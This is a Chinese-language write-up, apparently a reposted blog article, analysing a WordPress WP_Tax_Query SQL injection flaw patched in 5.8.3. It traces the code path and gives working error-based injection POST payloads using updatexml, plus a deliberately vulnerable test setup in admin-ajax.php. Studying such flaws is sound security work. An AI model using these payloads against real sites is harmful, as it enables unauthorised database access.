网络安全:SQL 注入漏洞

Posted kali_Ma

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全:SQL 注入漏洞相关的知识,希望对你有一定的参考价值。

一、漏洞描述

WordPress是一个用php编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37

二、漏洞分析

在分析整个漏洞之前,首先可以看一下如果想要触发该漏洞,漏洞代码应该是什么样子的。

new WP_Query($_POST['query_vars'])

这也就是说,传入WP_Query的参数如果可控的话,就可以利用该漏洞。接下来我们看看整个漏洞的利用调用链:

WP_Query::__construct
WP_Query::query
WP_Query::get_posts
WP_Tax_Query::get_sql
WP_Tax_Query::get_sql_clauses
WP_Tax_Query::get_sql_for_query
WP_Tax_Query::get_sql_for_clause
WP_Tax_Query::clean_query

根据官方的修复代码,最后的漏洞点位于WP_Tax_Queryclean_query方法:

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

根据漏洞的描述,我们知道的是WP_Tax_Query::clean_query函数对变量没有做严格的校验,最终导致了SQL语句的拼接,进而导致了SQL注入漏洞。

通过上下文的分析,我们将注意放置在WP_Tax_Query::get_sql_for_clause这个函数上面,这也是整个漏洞利用调用链中的一个函数;在这个函数中,使用到了clean_query方法对传入的参数进行了校验过滤处理:

继续查看该方法下面的代码,我们可以知道items变量最终拼接到了SQL语句中。

该漏洞最终需要利用的就是这个items变量,如果能够控制这个变量的值的话,就可以导致注入。

知道了漏洞点的位置,现在我们正向去分析一下。首先我们知道漏洞代码是这个样子的:

new WP_Query($_POST['query_vars'])

跟进到WP_Query对象的构造方法,知道其调用了query方法。在WP_Query::query中,调用了wp_parse_args函数对输入的字符串进行了处理:

function wp_parse_args( $args, $defaults = array() ) 
if ( is_object( $args ) ) 
$parsed_args = get_object_vars( $args );
 elseif ( is_array( $args ) ) 
$parsed_args =& $args;
 else 
wp_parse_str( $args, $parsed_args );


if ( is_array( $defaults ) && $defaults ) 
return array_merge( $defaults, $parsed_args );

return $parsed_args;

这里主要关注前面两个点,一个是如果传入的是一个对象的话,将其属性名和值取出来转变成数组;如果直接传入的是数组的话,也就是直接返回了。这里也就确定$this->query_vars$this->query变量可控了。

接下来调用get_posts方法,该方法的代码比较长,我们直接定位到利用链函数:

变量$this->is_singular初始化之后为false,所以这里的if语句是会执行的,而下面的$this->parse_tax_query($q)语句,跟进去,其实就是给变量$this->tax_query赋值,其值为WP_Tax_Query类对应的对象,同时利用传入的$q变量,对该对象进行了一些初始化。这里关键就是$q变量,我们向上追溯,查看一下该变量的生成过程:

$q = &$this->query_vars;
​
$q = $this->fill_query_vars( $q );

首先$q变量获取$this->query_vars,通过上面的分析,我们知道这个变量是可控的,也就是我们通过POST传入的参数值。接下来调用fill_query_vars方法,跟进去会发现这个函数就是向$q这个数组里面添加了一些key值。我们可以传入一个数组,然后var_dump出来看看:

接下来进入$this->parse_tax_query($q)这个函数看看。该函数就是通过传入的$q数组,然后赋值给$tax_query变量,然后利用该变量去初始化对象$this->tax_query = new WP_Tax_Query( $tax_query );,在parse_tax_query函数中,我们需要给$tax_query变量赋值,就需要传入的数组中带有tax_query这个关键词即可。我们跟进到这个类的构造函数去看看:(简单说明就是经过处理的$q变量的值作为了WP_Tax_Query对象的构造函数的参数值)

可以看到$this->queries变量的值是由$tax_query赋值得到的,只不过这里做了一些过滤,即调用了sanitize_query函数进行了处理。

到这里,我们就进入到了WP_Tax_Query类,并且我们可以控制传入这个类的构造函数的参数值。接下来看看这个构造函数中对传入的参数值做了哪些处理,也就是这个sanitize_query函数:(这里只截取关键部分了)

elseif ( self::is_first_order_clause( $query ) ) 
$cleaned_clause         = array_merge( $defaults, $query );
$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
$cleaned_query[]         = $cleaned_clause;
if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) 
$taxonomy = $cleaned_clause['taxonomy'];
if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) 
$this->queried_terms[ $taxonomy ] = array();

if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) 
$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];

​
if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) 
$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];



我们要进入到这个if语句,就需要通过is_first_order_clause函数:

protected static function is_first_order_clause( $query ) 
return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );

这个函数比较简单,就是需要传入的数据通过foreach迭代之后,仍然是一个数组,也就是传入的需要是一个二维数组,并且需要携带一些key值。(加上前面的需要传入tax_query关键词,到这里就需要传入的是一个三维数组)

由于我们要控制terms的值,所以传入的terms也要是一个数组,也就是说如果要控制terms值,需要传入一个四维数组,例如如下POST数据:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND

我们在这里先分析一下这个POST的数据。首先需要一个tax_query,是为了能给$tax_query变量赋值,然后我这里加了一个1是为了构造多维数组,这样传入进去之后,到上面这个foreach取出来之后,就是一个数组,从而构造了$this->queries,并且由于我们需要控制terms值,$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];表名我们需要传入一个数组来进行merge函数的拼接从而覆盖。传入以上数据之后,$this->queries的值为:

Array
(
[1] => Array
(
[include_children] => 1
[terms] => Array
(
[1] => AND
)
)
​
)

以上分析都是在初始化WP_Tax_Query这个对象。接下来继续向下分析,开始调用WP_Tax_Query::get_sql方法,然后调用了WP_Tax_Query::get_sql_clauses方法:

之后将$this->queries变量的值传入get_sql_for_query函数,我们继续跟进一下这个函数:

如果我们想要调用get_sql_for_clause方法的话,就需要对传入的数据进行一个控制,这里的关键在于is_array($clause)语句,也就是说,我们通过构造以后,这里需要传入一个二维数组,进而能够执行到这个条件里面并且需要满足is_first_order_clause函数,因此我们按照上面的构造方式是可以执行到这里的,并且这里的$clause的值为:

array(5) 
["taxonomy"]=>
string(0) ""
["terms"]=>
array(1) 
[1]=>
string(3) "AND"

["field"]=>
string(7) "term_id"
["operator"]=>
string(2) "IN"
["include_children"]=>
string(1) "1"

接下来就进入了get_sql_for_clause函数,也就是我们最终拼接SQL语句的地方,但在拼接之前,我们需要绕过clean_query函数,我们跟进这个函数看看:

这里为了不让他异常退出,我们需要添加一个field字段,让其值等于term_taxonomy_id即可,构造语句为:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

并且在函数的最后,调用了$this->transform_query( $query, 'term_taxonomy_id' );,我们跟进去,正好判定field的值,从而return,跳过了后面的执行操作:

接下来就是SQL语句的拼接了,根据我们构造的operator的不同值,没有构造的话就是IN了,进行不同的拼接操作,这里是IN,我们进入到这个if语句:

我们在terms处构造报错注入代码即可:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

前面的分析都是介绍如何一步一步执行到get_sql_for_clause这个函数,并且介绍了传入这个函数的变量是如何控制的。接下来就是该漏洞点主要的部分。

get_sql_for_clause这个函数中,调用了clean_query方法对我们构造的数据进行了一个清洗,然后取出其中的terms值,带入了SQL拼接语句中,payload如下:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

三、漏洞复现

我这里将new WP_Query($_POST['query_vars'])语句放置到wp-admin\\admin-ajax.php中:(在实际场景下,只要该处输入可控,即可造成SQL注入漏洞)

复现的时候开启一下debug即可看见报错注入(也可以进行盲注了);最后的构造语句为:(这里加上action参数是为了执行到目标代码)

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

四、修复方式

官网已经发布更新版本,或者按照官网的修复方式,自行添加代码。

以上是关于网络安全:SQL 注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章

网络安全学习-WEB安全常见漏洞

web安全pikachu靶场之SQL注入

WEB安全:SQL注入

web 应用常见安全漏洞

安全牛学习笔记初识sql注入漏洞原理

安全牛学习笔记初识sql注入漏洞原理